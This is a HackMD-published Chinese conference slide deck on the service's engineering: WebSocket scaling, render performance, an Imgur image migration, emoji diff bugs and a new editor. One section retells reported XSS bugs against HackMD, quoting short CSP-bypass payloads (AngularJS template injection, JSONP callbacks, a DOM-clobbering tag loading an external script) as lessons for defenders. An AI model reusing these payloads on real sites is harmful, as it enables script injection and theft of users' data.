Max Wu
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
      • Invitee
    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Versions and GitHub Sync Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
Invitee
Publish Note

Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

Your note will be visible on your profile and discoverable by anyone.
Your note is now live.
This note is visible on your profile and discoverable online.
Everyone on the web can find and read all notes of this public team.
See published notes
Unpublish note
Please check the box to agree to the Community Guidelines.
View profile
Engagement control
Commenting
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
  • Everyone
Suggest edit
Permission
Disabled Forbidden Owners Signed-in users Everyone
Enable
Permission
  • Forbidden
  • Owners
  • Signed-in users
Emoji Reply
Enable
Import from Dropbox Google Drive Gist Clipboard
   owned this note    owned this note      
Published Linked with GitHub
2
Subscribed
  • Any changes
    Be notified of any changes
  • Mention me
    Be notified of mention me
  • Unsubscribe
Subscribe
--- type: slide --- <style> .reveal, .reveal h1, .reveal h2, .reveal h3, .reveal h4, .reveal h5, .reveal h6 { font-family: -apple-system, BlinkMacSystemFont, Roboto, "Helvetica Neue", Helvetica, Arial, PingFangTC-Light, "Microsoft JhengHei", "微軟正黑", sans-serif, "Apple Color Emoji"; text-transform: none; } .reveal p code { padding: 2px 4px; font-size: 90%; color: #c7254e; border-radius: 4px; } </style> ## <i class="fa fa-file-text"></i> HackMD 的前世與今生,以及未來 #### Build a community with open collaboration `Max Wu @ WebConf Taiwan 2023` --- <img src="https://i.imgur.com/PTbB46S.jpg" style="width:300px;height:300px;border-radius:50%"/> ## Max Wu ### 是個喜歡技術的人,也喜歡玩遊戲! --- ## <i class="fa fa-file-text"></i> HackMD #### Build a community with open collaboration 開放協作!建立社群! <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## 出沒於各式 Conf ==PyCon TW== ==COSCUP== ==MOPCON== ==SITCON== ==HITCON== ==LaravelConf== ==Modern Web== ==DevOpsDay Taipei== ==Agile Summit== <!-- .element: class="fragment" data-fragment-index="1" --> ## ++WebConf++ <!-- .element: class="fragment" data-fragment-index="2" --> ---- ## 上面有哪些社群? ==Ethereum== ==g0v== ==Rust Lang== ==nf-core== ==ETHTaipei== ==GovComms== ==Wikidata Taiwan== ==OpenStreetMap== ==HackingThursday== ==matplotlib== ==Fedora== ==OpenStack== ==Kubernetes== ==Node.js== ==OCaml== ==OpenStack== ==Nordic RSE== ==Astro== <!-- .element: class="fragment" data-fragment-index="1" --> ### 歡迎大家來蓋社群! <!-- .element: class="fragment" data-fragment-index="2" --> ---- ## 一句話說明 HackMD 用來做什麼? 用純文字與他人協作知識的平台 <!-- .element: class="fragment" data-fragment-index="1" --> 黑客松、社群小聚、遠端會議、實驗研究、開發文件等... <!-- .element: class="fragment" data-fragment-index="2" --> --- ## 網頁上的即時通訊 HackMD 如何讓協作能很即時的收到更新? <!-- .element: class="fragment" --> ---- ## 方案 1. polling 1. long-polling 1. Server-Sent Events 1. WebSocket<!-- .element: class="fragment highlight-blue"--> 1. WebRTC Note: polling:前端定時向伺服器發出請求 long-polling:前端發出一個長等待伺服器回應的請求 Server-Sent Events:由伺服器對瀏覽器發送資料 WebSocket:建立即時雙向溝通,基於 TCP WebRTC:建立即時影像與音訊溝通,大多基於 UDP ---- ## WebSocket 最開始的時候就採用 `socket.io` <!-- .element: class="fragment" --> - 常用的廣播方法、狀態事件與 namespace 都有提供 - 連線先 long-polling,瀏覽器與伺服器都支援 WS 才升級協定 - 傳遞事件時會預設編碼來節省流量,也可以自訂算法 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/HyhKGaPo2.png) <!-- .element: class="fragment" --> Note: socket.io 的編碼,有考慮瀏覽器支援度: https://socket.io/docs/v4/custom-parser/ 如果要傳遞 binary 的資料,可以考慮用 msgpack transport 可以改成只用 websocket 連線,避免需要設定複雜的 sticky session https://socket.io/docs/v4/using-multiple-nodes/ 要注意 socket.io 的功能版本差異,但是官網文件寫得相當完整,建議閱讀 https://socket.io/docs/v4/how-it-works/#socketio ---- ## 我們都稱作 MMORPG 筆記 = 房間 筆記內文 = 地圖 使用者 = 玩家 游標位置 = 玩家座標 <!-- .element: class="fragment" --> Note: 立即下載,送火槍兵! ---- ## 如何讓協作體驗更好? <span>同時有多人要加入房間 :arrow_right: </span> <span>需要排隊</span><!-- .element: class="fragment" --> <span>一台伺服器能乘載的人數有限 :arrow_right: </span> <span>分多台協作伺服器</span><!-- .element: class="fragment" --> <span>內文或是資料太大包 :arrow_right: </span> <span>只回傳差異範圍</span><!-- .element: class="fragment" --> ---- ## 如何知道使用者是否在線上? heartbeat :heartpulse: <!-- .element: class="fragment" --> 每隔幾秒跟伺服器問候一下 (ping/pong) 這樣才能確認正在線上的所有 clients 名單 <!-- .element: class="fragment" --> 如果 heartbeat 沒有回應,會視同斷線 因此如果前端太忙無法回應,就會斷線了喔! <!-- .element: class="fragment" --> ---- ## 架設多台協作節點 當有越多 clients,會消耗越多的記憶體 (線性成長) 因此有大量的使用者時,會需要多台的節點 可以用 Cluster 模式,這樣也能利用到多核心 CPU 的優勢 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/S13d6WQ22.png =700x) <!-- .element: class="fragment" --> Note: Node.js 預設是 single thread 如何架設多台請見: https://socket.io/docs/v4/using-multiple-nodes/ ---- ## Sticky Session 每台節點的 context 不同 (例如暫存的筆記內容不同) 當 client 傳遞事件時,需要保持跟其中一台對談 如果每次都送到不同節點,那節點之間就要付出事件傳遞的成本 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/BklRnW7n2.png =700x) <!-- .element: class="fragment" --> Note: 除非你可以讓節點的 context 是無狀態 (通常蠻困難的) 如何啟用 Sticky Session 請見: https://socket.io/docs/v4/using-multiple-nodes/ ---- ## 跨節點傳遞事件 有些狀況需要從讓協作節點間互相傳遞事件 或是讓外部傳遞事件進入 例如: 打 web API,需要讓協作節點同步資料,也向 client 發出事件 <!-- .element: class="fragment" --> 這時候可以用 `socket.io` Adapter,有多種實作方式: ==redis==, ==mongodb==, ==postgresql== <!-- .element: class="fragment" --> Note: `socket.io` adapter https://socket.io/docs/v4/adapter/ ---- ## 如何調整效能? 後端的 websocket 有多種實作,可以替換成 ==eiows==, ==uws==, ==uWebSockets.js==, ==ws== <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/r1Ntc7Ao3.png =700x) 也可以在使用者離線事件中,手動觸發 `gc()` 清出記憶體 <!-- .element: class="fragment" --> Note: 效能調整請見: https://socket.io/docs/v4/performance-tuning/ https://socket.io/docs/v4/memory-usage/ ---- ## 怎麼變成 `socket.io` 推坑大會 :sweat_smile: --- ## 即時連線效能調好了,那前端呢? 這個水很深 :water_polo: <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## 欸?我的 websocket 怎麼斷線了! 剛說過,因為有 heartbeat,如果: <!-- .element: class="fragment" --> - websocket 事件太密集,CPU 很忙 - 未知原因 main thread 太忙 - 使用者看其他分頁,分頁被暫停執行 - 使用者網路環境不好 <!-- .element: class="fragment" --> 以上都會導致 websocket 暫時斷線 自動重新連線的機制,`socket.io` 有實作 <!-- .element: class="fragment" --> ---- ## 那怎麼辦? 需要減少同時傳入的事件 可以將多個事件累計後變成一個事件發出 <!-- .element: class="fragment" --> 需要認知到 websocket 並不能保證使用者隨時都在線上 因此要做好斷線與重連的恢復機制 <!-- .element: class="fragment" --> Note: 詳細請讀:Page Lifecycle API https://developer.chrome.com/blog/page-lifecycle-api/#developer-recommendations-for-each-state ---- ## 長文件效能:分區段顯示 筆記內文 = 地圖 :world_map: <!-- .element: class="fragment" --> 如果內文很長需要捲動,顯示的效能會嚴重影響閱讀體驗 <!-- .element: class="fragment" --> 如果偵測哪些元素是在可見範圍,只針對那塊顯示與渲染? <!-- .element: class="fragment" --> 但檢查哪些元素是可見的,就會需要評估元素的大小與位置 `Element.getBoundingClientRect()` <!-- .element: class="fragment" --> 這會觸發瀏覽器 layout :arrow_right: 效能不好 <!-- .element: class="fragment" --> ==有方法可以讓元素自己告訴我它現在是否可以被看到嗎?== <!-- .element: class="fragment" --> Note: 建議閱讀 https://developer.chrome.com/blog/inside-browser-part3 ---- ## Intersection Observer API ``` let options = { root: document.querySelector("#scrollArea"), rootMargin: "0px", threshold: 1.0, }; let observer = new IntersectionObserver(callback, options); ``` <!-- .element: class="fragment" --> 建立一個 IntersectionObserver 給予可捲動的元素 root 當捲動元素,使內部的元素進入或是離開可見範圍時 會呼叫 callback 事件,參數會提供元素的資訊與交集比例 <!-- .element: class="fragment" --> `boundingClientRect, intersectionRatio, intersectionRect, isIntersecting, rootBounds, target, time` <!-- .element: class="fragment" --> Note: Intersection Observer API https://developer.mozilla.org/en-US/docs/Web/API/Intersection_Observer_API ---- 這樣一來,我們可以完全不用去記錄與計算每個元素的位置 處於觀察者的角色,等待元素交集時的事件發生 <!-- .element: class="fragment" --> 當 `isIntersecting` 為 `true` 時,就標示這個元素可見 或是設定將不可見的元素給予 `visibility: hidden;` <!-- .element: class="fragment" --> 渲染時可以只針對可見元素處理做後處理 (例如:顯示數學公式) <!-- .element: class="fragment" --> ==效能好到不行 :tada:== <!-- .element: class="fragment" --> 但別忘記 XSS!顯示前要先過濾 (會影響效能) <!-- .element: class="fragment" --> Note: 延伸閱讀 MutationObserver https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver 如果有 DOM 要做部分更新,可以考慮用 https://github.com/patrick-steele-idem/morphdom --- ## 那些年遇過的 XSS ![](https://hackmd.io/_uploads/Hk070NJ2n.png) <!-- .element: class="fragment" data-fragment-index="1" --> 就像抓漏,怎樣都有洞... :hole: <!-- .element: class="fragment" data-fragment-index="1" --> ---- ## 什麼是 XSS? 簡單來說,在使用者可以輸入的地方 寫入 `<script>` 或是各種奇形怪招 讓網頁執行的時候,組成非預期的程式碼 把使用者的資料傳出去,或是做不該做的事 (例如把 Cookies 偷走、偷偷跑挖礦程式) Note: https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting ---- ## XSS 環境清潔方式 幫 HTML 消毒 Sanitizer :face_with_monocle: <!-- .element: class="fragment" --> Before: `abc <script>alert(1)</script> def` <!-- .element: class="fragment" --> After: `abc def` <!-- .element: class="fragment" --> 你以為這樣就乾淨了嗎? :no_good: <!-- .element: class="fragment" --> Note: Chrome 有新實作 HTML Sanitizer API https://developer.mozilla.org/en-US/docs/Web/API/HTML_Sanitizer_API 我們採用了這套: https://github.com/leizongmin/js-xss ---- ## orange 的 XSS 直接對過濾 XSS 的 function `preventXSS` 下手 <!-- .element: class="fragment" --> 利用 CSP 允許的 `https://cdnjs.cloudflare.com/` 載入 AngularJS <!-- .element: class="fragment" --> 再用 template injection 執行不安全的程式碼 `{{constructor.constructor('alert(1)')()}}` <!-- .element: class="fragment" --> ==結論:HTML 註解語法也要處理!== <!-- .element: class="fragment" --> Note: CSP https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP 完整 writeup 與 payload 請見 https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html ---- ## k1tten 的 XSS 1. 利用 graphviz 圖表語法的語法錯誤提示區塊 <!-- .element: class="fragment" --> `$value.parent().append('<div class="alert alert-warning">' + err + '</div>')` <!-- .element: class="fragment" --> `err` 會直接顯示在網頁上,沒做過濾但是有字數限制 <!-- .element: class="fragment" --> 2. 利用 Google Tag Manager 繞過 CSP 載入不安全的程式碼 <!-- .element: class="fragment" --> ``` ```graphviz graph<<script src="https://www.google-analytics.com/gtm/js?id=GTM-P49RD4V"> ``` <!-- .element: class="fragment" --> ==結論:錯誤訊息也要過濾 XSS!== <!-- .element: class="fragment" --> Note: 完整 writeup https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_%26_Bypass_CSP.md ---- ## maple3142 的 XSS HackMD 新增了顯示 figma 的功能,然後就出漏洞了... <!-- .element: class="fragment" --> 顯示時會找尋網頁 `data-figma-src` 的值來組合成 figma 網址 而這段沒過濾! <!-- .element: class="fragment" --> 這次被繞過 CSP 用的是 `www.google.com` 的 JSONP callback `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//` <!-- .element: class="fragment" --> ~~怎麼被回報漏洞的速度比出功能的速度還快?!~~ <!-- .element: class="fragment" --> ==結論:code review 時也要檢查 XSS!== <!-- .element: class="fragment" --> Note: JSONP https://blog.logrocket.com/jsonp-demystified-what-it-is-and-why-it-exists/ 完整 writeup https://blog.maple3142.net/2022/08/03/hackmd-xss ---- ## splitline 的 XSS 利用嵌入 vimeo 影片的語法,顯示時會呼叫 vimeo 的 JSONP `//vimeo.com/api/v2/video/346762373.json?callback=alert#.json?callback=random` <!-- .element: class="fragment" --> 幸好 vimeo 會過濾 callback 的參數 callback 時會把不安全的指令過濾... <!-- .element: class="fragment" --> ==以為就這樣嗎?但漏洞總是挖呀挖挖呀挖== <!-- .element: class="fragment" --> ---- ## splitline 的 XSS cont. 發現 `https://vimeo.com/blog` 是用 WordPress 架設的 整個網站找啊找找到一程式碼,可以非同步載入 script <!-- .element: class="fragment" --> `s.src = _zxcvbnSettings.src;` <!-- .element: class="fragment" --> 這時候,使出 DOM clobbering,控制 src 的值放入 payload: <!-- .element: class="fragment" --> `<img src="https://host/xss.js" id="_zxcvbnSettings">` <!-- .element: class="fragment" --> ==結論:嚴格過濾影片網址 videoid== <!-- .element: class="fragment" --> Note: 完整 writeup & payload https://blog.splitline.tw/hackmd-xss ---- CSP 又被繞過了...外站的程式被利用成本站的漏洞... <!-- .element: class="fragment" --> 就算有 CSP, X-XSS-Protection, Sanitizer 等 也不代表就沒有 XSS 漏洞,總是有繞過的招數 <!-- .element: class="fragment" --> 做新功能時要檢查是否有正確的過濾字串再顯示 HackMD 需要非常注意過濾處理的效能 <!-- .element: class="fragment" --> 人生真難 :sob: <!-- .element: class="fragment" --> Note: X-XSS-Protection https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-XSS-Protection --- ## Imgur 圖片大搬家 免費的最貴... :moneybag: <!-- .element: class="fragment" data-fragment-index="1" --> ---- 有一天,收到了這樣的通知 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/Hkdb7X9on.png) <!-- .element: class="fragment" --> Note: https://help.imgur.com/hc/en-us/articles/14415587638029/ ---- HackMD 從很早的時候就有整合 Imgur 方便使用者在寫筆記時能直接上傳圖片 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/H163AW7h2.png) 這下...麻煩了... <!-- .element: class="fragment" --> ---- 要寫程式處理所有筆記嗎? 有多少篇筆記裡面有多少個 imgur 圖片網址呢? ## 127 萬篇筆記中有 900 萬張圖片! <!-- .element: class="fragment" --> ---- ## 這...也太多圖片要處理了! 1. 要先從筆記拿出裡面的 imgur 網址 2. 建立筆記與網址的關聯 3. 把圖片備份後上傳到 S3 4. 將上傳後的網址紀錄回 DB <!-- .element: class="fragment" --> ==要如何快還要更快呢?== <!-- .element: class="fragment" --> ---- ## SQL comes to Rescue! 直接用 SQL 跑 regex 將筆記中的網址插入 table <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/BJtPZz73n.png =700x) <!-- .element: class="fragment" --> `regexp_matches(content, E'(https://i\\.imgur\\.com/([^\\s)\\n"\\/\\]\\?][a-zA-Z0-9]+\\.[a-zA-Z0-9]+))', 'g') AS urls` <!-- .element: class="fragment" --> ---- ## 轉移圖片到 S3 有這麼多圖片網址,要怎麼樣在一週內全部轉移? ==AWS Lambda 平行跑起來!== <!-- .element: class="fragment" --> 最多時有 15 個工作平行在跑,每秒可以轉移 50~100 張圖片 ![](https://hackmd.io/_uploads/SyvLMfX3n.png) <!-- .element: class="fragment" --> ---- 最後統計一共轉移了 1.9TB 的資料 :tada: ![](https://hackmd.io/_uploads/S1QuMMXn3.png) 未來所有使用者上傳圖片都使用 HackMD 的專屬圖床 避免這種事情再次發生,一勞永逸! <!-- .element: class="fragment" --> Note: 雖然外部服務很方便,但是當服務用量成長之後,很容易成為絆腳石 付錢或是自行架設都是解方 --- ## 比較字串中遇到的 Emoji 問題 裂開了就沒辦法顯示! :pencil2: :apple: <!-- .element: class="fragment" data-fragment-index="1" --> ---- 各位知道 emoji 可能是用多個 Unicode 表示嗎? 👋➕🏻🟰👋🏻 Emoji Modifier Sequences <!-- .element: class="fragment" --> Note: https://css-tricks.com/changing-emoji-skin-tones-programmatically/ ---- 更神奇的是! ![](https://hackmd.io/_uploads/r1X_O75s2.png) 怎麼會有兩個 Emoji 的 UTF-16 編碼相同? <!-- .element: class="fragment" --> Note: 試試看: ``` `😃`.charAt() `😄`.charAt() ``` ---- 同一個 Emoji 編碼怎麼又不同? ![](https://hackmd.io/_uploads/rky_F7csn.png) 🤯🤯🤯 Note: 試試看: ``` `😄`.codePointAt() ``` ---- Unicode 是個 21 位元的標準 JavaScript 採用的是 UTF-16,最多可以表示 65,535 個字元 <!-- .element: class="fragment" --> ![](https://hackmd.io/_uploads/BJsCK7qin.png) 有些 Emoji 編碼索引超過 65,535,就會用兩個 Unicode 組成 一個高位字元 (high surrogate) 與一個低位字元 (low surrogate) 組成一對 (surrogate pair) 來表示 <!-- .element: class="fragment" --> Note: 參考資料: http://russellcottrell.com/greek/utilities/SurrogatePairCalculator.htm https://evanhahn.com/utf-21/ https://docs.oracle.com/cd/E19683-01/816-3982/6ma7og00a/index.html ---- 相信大家用過 git 可能看過這個: ```diff @@ -1 +1 @@ -a +b ``` `GNU diff Unified Format` HackMD 會自動幫筆記產生版本紀錄 每個版本紀錄會計算出差異範圍 ==diff-match-patch== <!-- .element: class="fragment" --> ---- ## diff-match-patch 是什麼? Diff: 比較字串差異 Match: 找出相近字串 Patch: 套用字串差異 HackMD 採用這套比對文字差異 <!-- .element: class="fragment" --> Note: diff-match-patch https://github.com/google/diff-match-patch ---- 如果 diff 兩個 emoji 有可能把 emoji 切成兩個 Unicode 來比較 ``` Error: invalid input syntax for type json DETAIL: Unicode low surrogate must follow a high surrogate ``` <!-- .element: class="fragment" --> :warning: 然後資料庫就爆炸了 :warning: <!-- .element: class="fragment" --> ---- ## 前方有坑!!! ![](https://hackmd.io/_uploads/SyFVxG1nh.png) diff 可能會產出 lone surrogates 導致無法顯示 <!-- .element: class="fragment" --> Note: https://github.com/google/diff-match-patch/issues/59 坑點 1: `patch_toText` 坑點 2: `diff_main` 官方 demo 可以重現 https://neil.fraser.name/software/diff_match_patch/demos/diff.html ---- ## 補坑選項 ![](https://hackmd.io/_uploads/HkBWzGk3n.png) ![](https://hackmd.io/_uploads/BJSZfzJ3h.png) <!-- .element: class="fragment" --> ~~Google 萬年不 merge PR~~ <!-- .element: class="fragment" --> Note: https://github.com/google/diff-match-patch/pull/69 https://github.com/google/diff-match-patch/pull/13 https://github.com/google/diff-match-patch/pull/80 ---- ## After 補坑 ![](https://hackmd.io/_uploads/HygRlGk3n.png) 可以正常的 diff 出 emoji 的變更了!! :fireworks: :tada: :100: :+1: :man_dancing: :watermelon: <!-- .element: class="fragment" --> Note: 我們採用了這個 PR https://github.com/google/diff-match-patch/pull/80 似乎 Simplenote 也用這個修正,沒出過什麼問題 --- # <i class="fa fa-file-text"></i> HackMD 2.0 ---- ## 知識的三個層次 自己 :smile: <!-- .element: class="fragment" --> <span>自己與未來的他人 :arrow_right: </span><!-- .element: class="fragment" -->有限的團體<!-- .element: class="fragment" --> <span>與不特定對象連結<!-- .element: class="fragment highlight-red" --> :arrow_right: </span><!-- .element: class="fragment" --> 公眾<!-- .element: class="fragment" --> Note: 各位做筆記時,是為了自己還是誰呢? ---- ## 全新設計的編輯器 ![](https://hackmd.io/_uploads/HJEUy4mnn.png =700x) <!-- .element: class="fragment" --> ==Light/Dark mode== <!-- .element: class="fragment" --> ==支援 Grammarly、手機版體驗提升== <!-- .element: class="fragment" --> ==編輯與顯示效能大提升== <!-- .element: class="fragment" --> ---- ## 用協作打造新型態知識網路 社群、留言討論、探索知識 <!-- .element: class="fragment" --> # 串連世界上的節點! <!-- .element: class="fragment" --> ---- ## 現在立即體驗 ![](https://hackmd.io/_uploads/rynW4VQh2.png =600x) https://hackmd.io 設定 :arrow_right: Preview features --- ## Thanks for listening! ![](https://hackmd.io/_uploads/ByMiD4Xn2.png) https://hackmd.io/@MaxWu/hackmd-webconf-2023 本簡報使用 HackMD 製作與發佈

Import from clipboard

Paste your markdown or webpage here...

Advanced permission required

Your current role can only read. Ask the system administrator to acquire write and comment permission.

This team is disabled

Sorry, this team is disabled. You can't edit this note.

This note is locked

Sorry, only owner can edit this note.

Reach the limit

Sorry, you've reached the max length this note can be.
Please reduce the content or divide it to more notes, thank you!

Import from Gist

Import from Snippet

or

Export to Snippet

Are you sure?

Do you really want to delete this note?
All users will lose their connection.

Create a note from template

Create a note from template

Oops...
This template has been removed or transferred.
Upgrade
All
  • All
  • Team
No template.

Create a template

Upgrade

Delete template

Do you really want to delete this template?
Turn this template into a regular note and keep its content, versions, and comments.

This page need refresh

You have an incompatible client version.
Refresh to update.
New version available!
See releases notes here
Refresh to enjoy new features.
Your user state has changed.
Refresh to load new user state.

Sign in

Forgot password

or

By clicking below, you agree to our terms of service.

Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
Wallet ( )
Connect another wallet

New to HackMD? Sign up

Help

  • English
  • 中文
  • Français
  • Deutsch
  • 日本語
  • Español
  • Català
  • Ελληνικά
  • Português
  • italiano
  • Türkçe
  • Русский
  • Nederlands
  • hrvatski jezik
  • język polski
  • Українська
  • हिन्दी
  • svenska
  • Esperanto
  • dansk

Documents

Help & Tutorial

How to use Book mode

Slide Example

API Docs

Edit in VSCode

Install browser extension

Contacts

Feedback

Discord

Send us email

Resources

Releases

Pricing

Blog

Policy

Terms

Privacy

Cheatsheet

Syntax Example Reference
# Header Header 基本排版
- Unordered List
  • Unordered List
1. Ordered List
  1. Ordered List
- [ ] Todo List
  • Todo List
> Blockquote
Blockquote
**Bold font** Bold font
*Italics font* Italics font
~~Strikethrough~~ Strikethrough
19^th^ 19th
H~2~O H2O
++Inserted text++ Inserted text
==Marked text== Marked text
[link text](https:// "title") Link
![image alt](https:// "title") Image
`Code` Code 在筆記中貼入程式碼
```javascript
var i = 0;
```
var i = 0;
:smile: :smile: Emoji list
{%youtube youtube_id %} Externals
$L^aT_eX$ LaTeX
:::info
This is a alert area.
:::

This is a alert area.

Versions and GitHub Sync
Get Full History Access

  • Edit version name
  • Delete

revision author avatar     named on  

More Less

Note content is identical to the latest version.
Compare
    Choose a version
    No search result
    Version not found
Sign in to link this note to GitHub
Learn more
This note is not linked with GitHub
 

Feedback

Submission failed, please try again

Thanks for your support.

On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

Please give us some advice and help us improve HackMD.

 

Thanks for your feedback

Remove version name

Do you want to remove this version name and description?

Transfer ownership

Transfer to
    Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

      Link with GitHub

      Please authorize HackMD on GitHub
      • Please sign in to GitHub and install the HackMD app on your GitHub repo.
      • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
      Learn more  Sign in to GitHub

      Push the note to GitHub Push to GitHub Pull a file from GitHub

        Authorize again
       

      Choose which file to push to

      Select repo
      Refresh Authorize more repos
      Select branch
      Select file
      Select branch
      Choose version(s) to push
      • Save a new version and push
      • Choose from existing versions
      Include title and tags
      Available push count

      Pull from GitHub

       
      File from GitHub
      File from HackMD

      GitHub Link Settings

      File linked

      Linked by
      File path
      Last synced branch
      Available push count

      Danger Zone

      Unlink
      You will no longer receive notification when GitHub file changes after unlink.

      Syncing

      Push failed

      Push successfully